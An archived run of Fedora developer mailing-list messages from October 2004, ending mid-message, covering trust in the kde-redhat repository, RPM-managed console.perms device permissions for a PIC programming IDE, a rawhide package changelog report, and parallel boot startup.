<41757C1B.1020803@math.unl.edu> <200410192011.18148.rjune@bravegnuworld.com> Message-ID: <20041020104123.GA28997@novalis.fc.up.pt> On Wed, Oct 20, 2004 at 09:34:42AM +0200, Frank Schmitt wrote: > > > >> -There were no Core 2 packages for 3.0 > > http://kde-redhat.sf.net > > I know about this project but I don't like it since when adding it to > yum.conf I not only get a new KDE but dozens of other packages are > replaced, too. This means that I get dependencies problems when there > are updates for those in the main Fedora repositories and I get problems > when updating from one Fedora release to the next. The first point is no longer a problem, those dependencies have been removed for 3.3.1. The second problem regarding problems updating from one Fedora release to the other is unknown. But even if related is possible due to the remark above it should not be a problem. Some of the packages that are there are packages that are also on fedora.us with the same maintainer. > Further on, I trust > Fedora to build quality packages and timely fix security issues. I don't > really know if I can put the same trust in the guys from kde-redhat. This is FUD in its best form. I assume that you don't trust fedora.us either then, since Rex Dieter has some packages there. Also you Rex tried to push all the packages to fedora.us (Extras some day). Regarding the response to problems Rex is one of the more responsive packagers I have seen, if there is a problem he answers the same day, testing and applying patches to fix any possible security problem. He tracks the upstream channels and during the last two years using packages from his repository I have never seen other behaviour that could be described as less than professional. I would not advise anyone to download random packages from the net and installing them without trusting the packagers. The problem, at least to me, is that your sentence seems to imply more than that. And that is simply not true. -- Jos? Ab?lio From jamatos at fc.up.pt Wed Oct 20 10:44:35 2004 From: jamatos at fc.up.pt (=?iso-8859-1?Q?Jos=E9_Ab=EDlio?= Oliveira Matos) Date: Wed, 20 Oct 2004 11:44:35 +0100 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <200410192011.18148.rjune@bravegnuworld.com> <200410201811.13702.symbiont@berlios.de> Message-ID: <20041020104435.GB28997@novalis.fc.up.pt> On Wed, Oct 20, 2004 at 12:29:27PM +0200, Frank Schmitt wrote: > Jeff Pitman writes: > > > No, experience. I installed the kde-redhat packages on my > playground-box, after some days there was an upgrade to gtk in the > Fedora updates repositories which horrible brake things. I sweared like > a trooper, spent an hour deleting all the kde-redhat packages and > reinstalling the Fedora packages and decided it was a "tried once, rated > as bad" experience. Did you checked the mailing list. The different question are answered quickly, usually within the same day, and also there other queries related with the problem you had. -- Jos? Ab?lio From ich at Frank-Schmitt.net Wed Oct 20 11:13:00 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Wed, 20 Oct 2004 13:13:00 +0200 Subject: Should I mention kde-3.3.1? References: <41757C1B.1020803@math.unl.edu> <200410192011.18148.rjune@bravegnuworld.com> <20041020104123.GA28997@novalis.fc.up.pt> Message-ID: Jos? Ab?lio Oliveira Matos writes: >> Further on, I trust >> Fedora to build quality packages and timely fix security issues. I don't >> really know if I can put the same trust in the guys from kde-redhat. > > This is FUD in its best form. I assume that you don't trust fedora.us > either then, since Rex Dieter has some packages there. Also you Rex tried to > push all the packages to fedora.us (Extras some day). > > Regarding the response to problems Rex is one of the more responsive > packagers I have seen, if there is a problem he answers the same > day, testing and applying patches to fix any possible security problem. He > tracks the upstream channels and during the last two years using packages > from his repository I have never seen other behaviour that could be > described as less than professional. > > I would not advise anyone to download random packages from the net and > installing them without trusting the packagers. The problem, at least to me, > is that your sentence seems to imply more than that. And that is simply not > true. Sorry. I definitely didn't want to say that the packagers from kde-redhat don't know what they are doing. All I wanted to say is, that I don't know if the kde-redhat packages are of good quality, because I've used them only for some days. -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From aportal at univ-montp2.fr Wed Oct 20 11:48:23 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Wed, 20 Oct 2004 13:48:23 +0200 Subject: Devices and permissions In-Reply-To: <1098264731.4363.72.camel@gibraltar.stuttgart.redhat.com> References: <200410141611.42456.aportal@univ-montp2.fr> <200410200944.27707.aportal@univ-montp2.fr> <1098264731.4363.72.camel@gibraltar.stuttgart.redhat.com> Message-ID: <200410201348.23790.aportal@univ-montp2.fr> Hi Nils, thanks for your answer. Le mercredi 20 Octobre 2004 11:32, Nils Philippsen a ?crit : > So is it a client or a server application? Perhaps I need to tell more about this application: this is an IDE for the developpement of Microchip PIC based applications. This IDE also can program chip devices through serial or paralell ports programmers. http://pikdev.free.fr/ So, logged user need to access to the serial/paralell ports in RW mode. We should consider that is a client application. > If it's a client application, > all users who want to use it must have the permissions, either by > belonging to a special group or /etc/security/console.perms trickeries. Create a special group doesn't seem to me a good idea because if a new user is added after the package installation, he won't belong to the new group and administrator will need to add him manually. I prefer a solution where all users can use the application by default. So, using /etc/security/console.perms seems the best way. Here is my purposal: # device classes =/dev/ttyS[0-9] =/dev/parport[0-7] # permission definitions 0600 0660 root.uucp 0600 0660 root.lp Does it seem right for you? How can I add/remove these lines via rpm (un)installation? > If it's a server application, you could let it be run by e.g. the > "myserverapp" user (with an exemplary uid/gid of 450 -- I don't know > whom you should ask to get a fixed well known one assigned for FC) which > would get added/removed like this in packages: > > %post > # Don't fail if user/group already exist > groupadd -g 450 myserverapp || : > useradd -u 450 -g 450 -G uucp,lp myserverapp -d /usr/lib/myserverapp || : > > %postun > if [ "$1" = "0" ]; then > userdel -r myserverapp || : > groupdel -r myserverapp || : > fi " || : " is the way to don't fail? Regards. -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html From buildsys at redhat.com Wed Oct 20 12:23:49 2004 From: buildsys at redhat.com (Build System) Date: Wed, 20 Oct 2004 08:23:49 -0400 Subject: rawhide report: 20041020 changes Message-ID: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> Updated Packages: NetworkManager-0.3.1-1 ---------------------- * Tue Oct 19 2004 - 0.3.1-1 - minor point release to improve error handling and translations alsa-utils-1.0.6-3 ------------------ * Tue Oct 19 2004 Bill Nottingham 1.0.6-3 - tweak dev.d sound restore script (#133535, revisited) anaconda-10.0.3.21-1 -------------------- * Tue Oct 19 2004 Jeremy Katz - 10.0.3.21-1 - Lowercase OSA addresses to make the kernel happy (#133190) - Don't hard code the VG name used for auto-partitioning to avoid colliding with existing ones - Make sure that we don't do runlevel 5 if people don't have X, etc installed (#135895) - Update for new Indic font filenames aspell-bg-0.50-3 ---------------- * Tue Oct 19 2004 Adrian Havill 50:0.50-3 - fix version in changelog; incorrect - fix corrupted word list; incorrect, wrong codeset (#128137) * Thu Oct 14 2004 Adrian Havill 50:0.50-2 - Remove debuginfo * Wed Aug 11 2004 Adrian Havill 50:0.50-1 - initial release bash-3.0-17 ----------- * Tue Oct 19 2004 Tim Waugh 3.0-17 - Patchlevel 14. - No longer need brace patch. bogl-0.1.18-3 ------------- * Tue Oct 19 2004 Jeremy Katz - 0:0.1.18-3 - rebuild against newer diet with fixed signal handling crypto-utils-2.1-4 ------------------ * Tue Oct 19 2004 Joe Orton 2.1-4 - make certwatch(1) warning distro-neutral - update to crypto-rand 1.1, fixing #136093 dialog-1.0.20040731-2 --------------------- * Tue Oct 19 2004 Harald Hoyer 1.0-20040731-2 - added patch from rlandry at redhat.com which removes extra trailing spaces (bug 136374) dmalloc-5.3.0-3 --------------- * Tue Oct 19 2004 Jakub Jelinek - fix linking of shared libs (#114073) e2fsprogs-1.35-11.2 ------------------- * Tue Oct 19 2004 Thomas Woerner 1.35-11.2 - fixed macroname in changelog (#135413) - small enhancement of progress patch * Mon Oct 04 2004 Thomas Woerner 1.35-11.1 - rebuilt evolution-data-server-1.0.2-3 ----------------------------- * Wed Oct 20 2004 David Malcolm - 1.0.2-3 - added workaround for a backend leak that causes the "contacts" calendar backend to hold open an EBook for the local contacts (filed upstream at: http://bugzilla.ximian.com/show_bug.cgi?id=68533 ); this was causing e-d-s to never lose its last addressbook, and hence never quit. We workaround this by detecting this condition and exiting when it occurs, fixing bug #134851 and #134849. findutils-4.1.20-7 ------------------ * Tue Oct 19 2004 Tim Waugh 1:4.1.20-7 - Better xargs ARG_SIZE handling (bug #135129). * Fri Oct 15 2004 Tim Waugh - Fixed d_type patch for underquoted m4 macro. * Fri Oct 08 2004 Tim Waugh - Use upstream patch for find -size man page fix. firefox-0.10.1-1.0PR1.20 ------------------------ * Tue Oct 19 2004 Christopher Aillon 0:0.10.1-1.0PR1.20 - More file chooser fixes: Pop up a confirmation dialog before overwriting files (#134648) Allow saving as complete once again - Fix for upstream 263263. * Tue Oct 19 2004 Christopher Aillon 0:0.10.1-1.0PR1.18 - Fix for upstream 262689. * Mon Oct 18 2004 Christopher Blizzard - 2.2.3-5 - Add Lohit fonts for Indic languages (#134492) - Add Punjabi converage, fix Tamil coverage fonts-xorg-6.8.1-1 ------------------ * Mon Oct 18 2004 Mike A. Harris 6.8.1-1 - Update fonts to final xorg-x11-6.8.1 release, bump and rebuild to get rid of prerelease version number. gaim-1.0.1-3 ------------ * Tue Oct 19 2004 Warren Togami 1.0.1-3 - nosnilmot: zephyr krb build was broken by thinko gcc4-4.0.0-0.8 -------------- * Tue Oct 19 2004 Jakub Jelinek 4.0.0-0.8 - update from trunk - make sure .toc{,1} sections are created on ppc -m64 -mminimal-toc (#134248, PR target/17751) - define __GNUC_RH_RELEASE__ macro to match %{gcc_release} rpm macro (well, its first number) gdm-2.6.0.5-5 ------------- * Tue Oct 19 2004 Ray Strode 1:2.6.0.5-5 - Prefer nb_NO over no_NO for Norwegian (fixes bug #136033) gnome-games-2.8.0-4 ------------------- * Tue Oct 19 2004 Christopher Aillon 1:2.8.0-4 - Remove gnome-stones for now gnome-media-2.8.0-3 ------------------- * Tue Oct 19 2004 Colin Walters 2.8.0-3 - Add patch to not show empty mixers for modems, etc. Tested and confirmed to work on two machines. gnome-vfs2-2.8.2-8 ------------------ * Tue Oct 19 2004 Jonathan Blandford 2.8.2-6 - add new samba requirement * Mon Oct 18 2004 - 2.8.2-4 - change default http/https handler to firefox groff-1.18.1.1-3 ---------------- * Tue Oct 19 2004 Thomas Woerner 1.18.1.1-3 - fixed groffer scripte security problem (#136314) hal-0.4.0-5 ----------- * Tue Oct 19 2004 David Zeuthen 0.4.0-5 - Make hal work with PCMCIA IDE hotpluggable devices (#133943) - Fixup URL listed from rpm -qi (#136396) - Add Portuguese translations for hal - Fix addition of Russian and Hungarian translations hwdata-0.144-1 -------------- * Tue Oct 19 2004 Kristian H??gsberg - 0.144-1 - update IDs for Cirrus, Trident, C&T, and S3 iiimf-le-xcin-0.1.7-9 --------------------- * Wed Oct 20 2004 Leon Ho - 0.1.7-9 - added to own /usr/lib64/im/locale/zh_TW/ im-sdk-12.1-2 ------------- * Tue Oct 19 2004 Leon Ho - 1:12.1-2 - fix xft to work on non-UTF8 locales (127809) - add im-sdk-12.1-x86-64-vararg.patch (Yu Shao,134035) - merged with original Xft patch kernel-2.6.9-1.639 ------------------ * Tue Oct 19 2004 Dave Jones - Fix NFS badness (#132726) - Drop bogus USB workaround. (#131127) logrotate-3.7.1-2 ----------------- * Tue Oct 19 2004 Miloslav Trmac - 3.7.1-2 - Fix sending mails (#131583) - Preserve file attributes when compressing files (#121523, original patch by Daniel Himler) * Fri Jul 16 2004 Elliot Lee 3.7.1-1 - Fix #126490 typo mozilla-1.7.3-17 ---------------- * Wed Oct 20 2004 Christopher Aillon 37:1.7.3-17 - More file chooser fixes: Pop up a confirmation dialog before overwriting files (#134648) Allow saving as complete once again - Fix for upstream 263263. * Tue Oct 19 2004 Christopher Aillon 37:1.7.3-16 - Add fix for upstream 262689 * Mon Oct 18 2004 Christopher Blizzard 37:1.7.3-15 - Pango on by env var nautilus-cd-burner-2.8.3-6 -------------------------- * Wed Oct 20 2004 Alexander Larsson - 2.8.3-6 - Make user own the dirs in burn:/// (#135151) pam-0.77-63 ----------- * Tue Oct 19 2004 Tomas Mraz 0.77-63 - Fix checking of group Development/Debug syntax in pam_limits - Drop fencepost patch as it was already fixed by upstream change from 0.75 to 0.77 - Fix brokenshadow patch pango-1.6.0-6 ------------- * Tue Oct 19 2004 Owen Taylor - 1.6.0-6 - Make Hangul and Kana not backspace-deletes-char (#135356) * Tue Oct 19 2004 Owen Taylor - 1.6.0-5 - Fix problem in the last patch where we weren't getting the metrics from the right font description (#136428, Steven Lawrance) redhat-artwork-0.117-1 ---------------------- * Tue Oct 19 2004 Than Ngo 0.117-1 - Add missing 32x32 icons, #135797 - Remove unused kmenu icon * Mon Oct 18 2004 Alexander Larsson - 0.116-1.1E - RHEL build rhn-applet-2.1.16-1 ------------------- * Mon Oct 18 2004 Adrian Likins 2.1.16-1 - fix #135735 rpmdb-fedora-2.92-0.20041020 ---------------------------- samba-3.0.8-0.pre1.3 -------------------- * Tue Oct 19 2004 Jay Fenlason 3.0.8-0.pre1.3 - disable the -salt patch, because it causes undefined references in libsmbclient that prevent gnome-vfs from building. selinux-policy-targeted-1.17.30-2.5 ----------------------------------- * Tue Oct 19 2004 Dan Walsh 1.17.30-2.5 - Fix nscd problems with directory. - Fix placement of httpdcontent attribute * Tue Oct 19 2004 Dan Walsh 1.17.30-2.4 - Add apache unified patch to allow all content to be treated the same. * Tue Oct 19 2004 Dan Walsh 1.17.30-2.3 - Fix /var/run/named and /var/run/mailman context strace-4.5.8-1 -------------- * Tue Oct 19 2004 Roland McGrath - 4.5.8-1 - fix multithreaded exit handling (#132150, #135254) - fix ioctl name matching (#129808) - print RTC_* ioctl structure contents (#58606) - grok epoll_* syscalls (#134463) - grok new RLIMIT_* values (#133594) - print struct cmsghdr contents for sendmsg (#131689) - fix clock_* and timer_* argument output (#131420) system-config-display-1.0.23-1 ------------------------------ * Tue Oct 19 2004 Paul Nasrat 1.0.23-1 - Firstboot - re-read config so both kbd and display changes persist (#135361) system-config-printer-0.6.116-1 ------------------------------- * Tue Oct 19 2004 Tim Waugh 0.6.116-1 - 0.6.116: - Use the new file chooser dialog (bug #135746). - Fixed SNMP autodetection (bug #136294). system-config-samba-1.2.21-1 ---------------------------- * Tue Oct 19 2004 Nils Philippsen - 1.2.21-1 - don't raise exception when writing /etc/samba/smb.conf (#135946) - updated translations thunderbird-0.8.0-9 ------------------- * Tue Oct 19 2004 Christopher Aillon 0.8.0-9 - More file chooser fixes (same as in firefox) - Fix for upstream 28327. * Mon Oct 18 2004 Christopher Blizzard 0.8.0-8 - Update the pango patch * Mon Oct 18 2004 Christopher Blizzard 0.8.0-8 - Pull over patches from firefox build: - disable default application dialog - don't include software update since it doesn't work - make external app support work ttfonts-indic-1.6-1 ------------------- * Tue Oct 19 2004 Leon Ho - Updated the source with new names - Updated with proper license info up2date-4.3.44-1 ---------------- * Tue Oct 19 2004 Adrian Likins 4.3.44 - fix #135735 - fix #136232 - point at fc3 urls not rawhide * Fri Oct 15 2004 Adrian Likins 4.3.43 - merge some changes from rhel3 branch - translation updates * Fri Oct 01 2004 Adrian Likins 4.3.41 - content changes vim-6.3.030-3 ------------- * Tue Oct 19 2004 Karsten Hopp 6.3.030-3 - fix dependencies on vim-common (#132371) xdelta-1.1.3-15 --------------- * Wed Oct 20 2004 Miloslav Trmac - 1.1.3-15 - Add BuildRequires: glib-devel (#123759) - Properly quote aclocal macro definition xorg-x11-6.8.1-10 ----------------- * Tue Oct 19 2004 6.8.1-10 - Set with_fonts based off build_fc2 macro, so it is enabled for FC2 builds but remains disabled for FC3 and other builds. Makes it easier to rebuild for FC2/FC1. - Fix to make Vera font really get deleted this time for real. ;o) * Mon Oct 18 2004 6.8.1-9 - Add xorg-x11-6.8.1-init-origins-fix.patch, which fixes a crash for some invalid xorg.conf combinations (#134967). * Mon Oct 18 2004 Mike A. Harris - Do not include the Bitstream Vera fonts when doing builds with with_fonts enabled, as we ship Vera in separate packaging already. - When doing with_fonts builds to generate the fonts-xorg tarball, remove various Syriac fonts which contain bad codepoints: SyrCOMCtesiphon.otf SyrCOMKharput.otf, SyrCOMMalankara.otf, SyrCOMMidyat.otf, SyrCOMQenNeshrin.otf SyrCOMTurAbdin.otf, SyrCOMUrhoyBold.otf, SyrCOMUrhoy.otf (bug #97951) xscreensaver-4.18-4 ------------------- * Tue Oct 19 2004 4.18-4 - Add xscreensaver-4.18-stuff-piecewise-leak.patch to stop piecewise from leaking (#135164). yum-2.1.10-1 ------------ * Tue Oct 19 2004 Jeremy Katz - 2.1.10-1 - update to 2.1.10 * updated man pages * make more resilient to broken groups file * fix urlgrabber failure callback (#136178) From feliciano.matias at free.fr Wed Oct 20 12:16:06 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 20 Oct 2004 14:16:06 +0200 Subject: Devices and permissions In-Reply-To: <200410201348.23790.aportal@univ-montp2.fr> References: <200410141611.42456.aportal@univ-montp2.fr> <200410200944.27707.aportal@univ-montp2.fr> <1098264731.4363.72.camel@gibraltar.stuttgart.redhat.com> <200410201348.23790.aportal@univ-montp2.fr> Message-ID: <1098274566.18506.25.camel@localhost.localdomain> Le mercredi 20 octobre 2004 ? 13:48 +0200, Alain PORTAL a ?crit : > Hi Nils, thanks for your answer. > > Le mercredi 20 Octobre 2004 11:32, Nils Philippsen a ?crit : > > > So is it a client or a server application? > > Perhaps I need to tell more about this application: this is an IDE for the > developpement of Microchip PIC based applications. This IDE also can program > chip devices through serial or paralell ports programmers. > http://pikdev.free.fr/ > So, logged user need to access to the serial/paralell ports in RW mode. > We should consider that is a client application. > > > If it's a client application, > > all users who want to use it must have the permissions, either by > > belonging to a special group or /etc/security/console.perms trickeries. > > Create a special group doesn't seem to me a good idea because if a new user is > added after the package installation, he won't belong to the new group and > administrator will need to add him manually. > I prefer a solution where all users can use the application by default. > > So, using /etc/security/console.perms seems the best way. > Here is my purposal: > > # device classes > =/dev/ttyS[0-9] > =/dev/parport[0-7] > > # permission definitions > 0600 0660 root.uucp > 0600 0660 root.lp > > Does it seem right for you? > > How can I add/remove these lines via rpm (un)installation? > With Perl, sed ... Personally, I don't like that third party package touch security files. Put some instructions in README or INSTALL file and let the administrator do his job :-) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From rdieter at math.unl.edu Wed Oct 20 13:38:06 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 20 Oct 2004 08:38:06 -0500 Subject: Should I mention kde-3.3.1? In-Reply-To: <20041020101258.GA15749@dudweiler.stuttgart.redhat.com> References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> <41757C1B.1020803@math.unl.edu> <20041020101258.GA15749@dudweiler.stuttgart.redhat.com> Message-ID: <41766A3E.4020300@math.unl.edu> Florian La Roche wrote: >>-Automatic login with kdm doesn't work since 3.2 > Send in patches and I am sure Than Ngo will add them. Probably also a bug > in original kde sources or something broken in the RH packaged ones? FYI, it's already fixed in rawhide (and fc2t3 I believe) -- Rex From rdieter at math.unl.edu Wed Oct 20 13:39:23 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Wed, 20 Oct 2004 08:39:23 -0500 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <200410192011.18148.rjune@bravegnuworld.com> <200410201811.13702.symbiont@berlios.de> Message-ID: <41766A8B.8020903@math.unl.edu> Frank Schmitt wrote: > Jeff Pitman writes: > > >>On Wednesday 20 October 2004 15:34, Frank Schmitt wrote: >> >>>I know about this project but I don't like it since when adding it to >>>yum.conf I not only get a new KDE but dozens of other packages are >>>replaced, too. This means that I get dependencies problems when there >>>are updates for those in the main Fedora repositories and I get >>>problems when updating from one Fedora release to the next. Further >>>on, I trust Fedora to build quality packages and timely fix security >>>issues. I don't really know if I can put the same trust in the guys >>>from kde-redhat. >> >>Pure FUD. > > > No, experience. I installed the kde-redhat packages on my > playground-box, after some days there was an upgrade to gtk in the > Fedora updates repositories which horrible brake things. FYI, packaging bug (unowned files) were to blame (rh bug #135723) -- Rex From daly at rio.sci.ccny.cuny.edu Wed Oct 20 12:55:38 2004 From: daly at rio.sci.ccny.cuny.edu (Tim Daly) Date: Wed, 20 Oct 2004 08:55:38 -0400 Subject: Paralell startup In-Reply-To: <20041019205104.GA3458@stingr.sgu.ru> (message from Paul P Komkoff Jr on Wed, 20 Oct 2004 00:51:04 +0400) References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> Message-ID: <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> >> I am hearing much good from the gentoo camp about paralell startup, and >> how it brings down boot times to about 30 secounds. Is this possible to >> do with fedora as well? > >Gentoo, instead of numeric order of service startup which we have in >fedora, implements service dependencies. With dependencies it is pure >implementation detail to have system startup in parallel. > >I doubt if anyone with @redhat.com suffix will consider reworking >initscripts to mind service dependencies ... sure sounds like a job for makefile. even with numbered tasks it should be possible to construct a makefile that would handle it. indeed, i believe pmake will handle the parallelization issues. Tim Daly From lnxxprt at arcor.de Wed Oct 20 14:02:22 2004 From: lnxxprt at arcor.de (D. Stolte) Date: Wed, 20 Oct 2004 16:02:22 +0200 Subject: rawhide report: 20041020 changes In-Reply-To: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> References: <200410201223.i9KCNnt21021@porkchop.devel.redhat.com> Message-ID: <41766FEE.3040904@arcor.de> > gnome-games-2.8.0-4 > ------------------- > * Tue Oct 19 2004 Christopher Aillon 1:2.8.0-4 > > - Remove gnome-stones for now Why is that? i like that game :( /ds From feliciano.matias at free.fr Wed Oct 20 14:21:26 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 20 Oct 2004 16:21:26 +0200 Subject: Paralell startup In-Reply-To: <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> Message-ID: <1098282086.18506.31.camel@localhost.localdomain> Le mercredi 20 octobre 2004 ? 08:55 -0400, Tim Daly a ?crit : > sure sounds like a job for makefile. even with numbered tasks it should > be possible to construct a makefile that would handle it. telinit 5 => make runlevel5 reboot => make runlevel6 > indeed, i > believe pmake will handle the parallelization issues. make -j ? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From bill.peck at gmail.com Wed Oct 20 14:34:27 2004 From: bill.peck at gmail.com (bill peck) Date: Wed, 20 Oct 2004 10:34:27 -0400 Subject: Paralell startup In-Reply-To: <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> Message-ID: <8ae9a39504102007342a25d731@mail.gmail.com> Could some of the ordering be determined by the dependancies that are already present in the rpm database? Going further we really need services to start/stop/restart based on Dbus messages. I want autofs to be notifed and reload its maps when the network comes up. On Wed, 20 Oct 2004 08:55:38 -0400, Tim Daly wrote: > >> I am hearing much good from the gentoo camp about paralell startup, and > >> how it brings down boot times to about 30 secounds. Is this possible to > >> do with fedora as well? > > > >Gentoo, instead of numeric order of service startup which we have in > >fedora, implements service dependencies. With dependencies it is pure > >implementation detail to have system startup in parallel. > > > >I doubt if anyone with @redhat.com suffix will consider reworking > >initscripts to mind service dependencies ... > > sure sounds like a job for makefile. even with numbered tasks it should > be possible to construct a makefile that would handle it. indeed, i > believe pmake will handle the parallelization issues. > > Tim Daly > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From aportal at univ-montp2.fr Wed Oct 20 14:46:43 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Wed, 20 Oct 2004 16:46:43 +0200 Subject: Devices and permissions In-Reply-To: <1098274566.18506.25.camel@localhost.localdomain> References: <200410141611.42456.aportal@univ-montp2.fr> <200410201348.23790.aportal@univ-montp2.fr> <1098274566.18506.25.camel@localhost.localdomain> Message-ID: <200410201646.53231.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Le mercredi 20 Octobre 2004 14:16, Matias F?liciano a ?crit : > > So, using /etc/security/console.perms seems the best way. > > Here is my purposal: > > > > # device classes > > =/dev/ttyS[0-9] > > =/dev/parport[0-7] > > > > # permission definitions > > 0600 0660 root.uucp > > 0600 0660 root.lp > > > > Does it seem right for you? > > > > How can I add/remove these lines via rpm (un)installation? > > With Perl, sed ... Hhmm, not really my cup of tea :-) > Personally, I don't like that third party package touch security files. > Put some instructions in README or INSTALL file and let the > administrator do his job :-) Problem is: is "administrator" reading README or INSTALL files provided by a rpm package? First, could you confirm that lines I want to put in the file are right? I manually edit the file to try, logout, and try login but it fails. I am unable to login as a normal user (bigs problems with X), only login as root. - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBdnpY8dRVJ41NdFARAnrDAKCwde+wfPkaoDHqD2AFZJ2HZvvh4ACePKxi 3huctWMbt+wnd95SI+qeliI= =KbEK -----END PGP SIGNATURE----- From arjanv at redhat.com Wed Oct 20 14:53:17 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Wed, 20 Oct 2004 10:53:17 -0400 Subject: Paralell startup In-Reply-To: <1098202227.2734.23.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> Message-ID: <1098283996.2803.22.camel@laptop.fenrus.com> On Tue, 2004-10-19 at 12:10, Kyrre Ness Sjobak wrote: > I am hearing much good from the gentoo camp about paralell startup, and > how it brings down boot times to about 30 secounds. Is this possible to > do with fedora as well? problem with parallel startup is that it *ALSO* increases how much the disk has to seek, which slows things down. For me it's not clear if it's actually a real gain or just a placebo one. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jspaleta at gmail.com Wed Oct 20 14:56:45 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Wed, 20 Oct 2004 10:56:45 -0400 Subject: Paralell startup In-Reply-To: <8ae9a39504102007342a25d731@mail.gmail.com> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <8ae9a39504102007342a25d731@mail.gmail.com> Message-ID: <604aa791041020075658714047@mail.gmail.com> On Wed, 20 Oct 2004 10:34:27 -0400, bill peck wrote: > Could some of the ordering be determined by the dependancies that are > already present in the rpm database? I really don't think you want to rely on rpm's concept of a 'dependancy'. startup script logic can have not completely trivial conditional logic. And rpm's dependancy definition is very very not suited for conditional situations. rpm natively understand hard dependancies and thats about it. This is even a problem for post/pre scripts in rpm packages to deal with. I don't think its a good idea to rely on rpmdb for "some" of the information at this point. I'd much rather require manual dependancy creation when writing the startup scripts instead of relying on an automation step that will still require human review after the fact because it can't be trusted to get conditional dependancies correct. I'd much rather have development manhours focused on building simple tools to help verify hand created dependancy information so its easier to review changes to the parallel flow, than see time spent on tools that automate dependancy creation. Your going to burn a lot of time just trying to come up with a tool that can parse shell script conditionals looking for things like executables or files present on the system. And personally i think the effort to do this sort of thing in an generally useful and encompassing way is FAR more effort than it would take to just hand edit each and every initscript to add dependancy information. -jef"Invokes the "need a more structured initscript file like xml" argument just to move this discussion along towards its ultimate climatic battle"spaleta From chiodr at kscems.ksc.nasa.gov Wed Oct 20 15:18:42 2004 From: chiodr at kscems.ksc.nasa.gov (Bob Chiodini) Date: Wed, 20 Oct 2004 11:18:42 -0400 Subject: Paralell startup In-Reply-To: <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> Message-ID: <1098285521.14648.56.camel@tweedy.ksc.nasa.gov> On Wed, 2004-10-20 at 08:55, Tim Daly wrote: > > sure sounds like a job for makefile. even with numbered tasks it should > be possible to construct a makefile that would handle it. indeed, i > believe pmake will handle the parallelization issues. > > Tim Daly Similar to this: http://linuxdevices.com/articles/AT7172642614.html Bob... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From feliciano.matias at free.fr Wed Oct 20 15:21:10 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 20 Oct 2004 17:21:10 +0200 Subject: Devices and permissions In-Reply-To: <200410201646.53231.aportal@univ-montp2.fr> References: <200410141611.42456.aportal@univ-montp2.fr> <200410201348.23790.aportal@univ-montp2.fr> <1098274566.18506.25.camel@localhost.localdomain> <200410201646.53231.aportal@univ-montp2.fr> Message-ID: <1098285670.18506.45.camel@localhost.localdomain> Le mercredi 20 octobre 2004 ? 16:46 +0200, Alain PORTAL a ?crit : > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Le mercredi 20 Octobre 2004 14:16, Matias F?liciano a ?crit : > > > > So, using /etc/security/console.perms seems the best way. > > > Here is my purposal: > > > > > > # device classes > > > =/dev/ttyS[0-9] > > > =/dev/parport[0-7] > > > > > > # permission definitions > > > 0600 0660 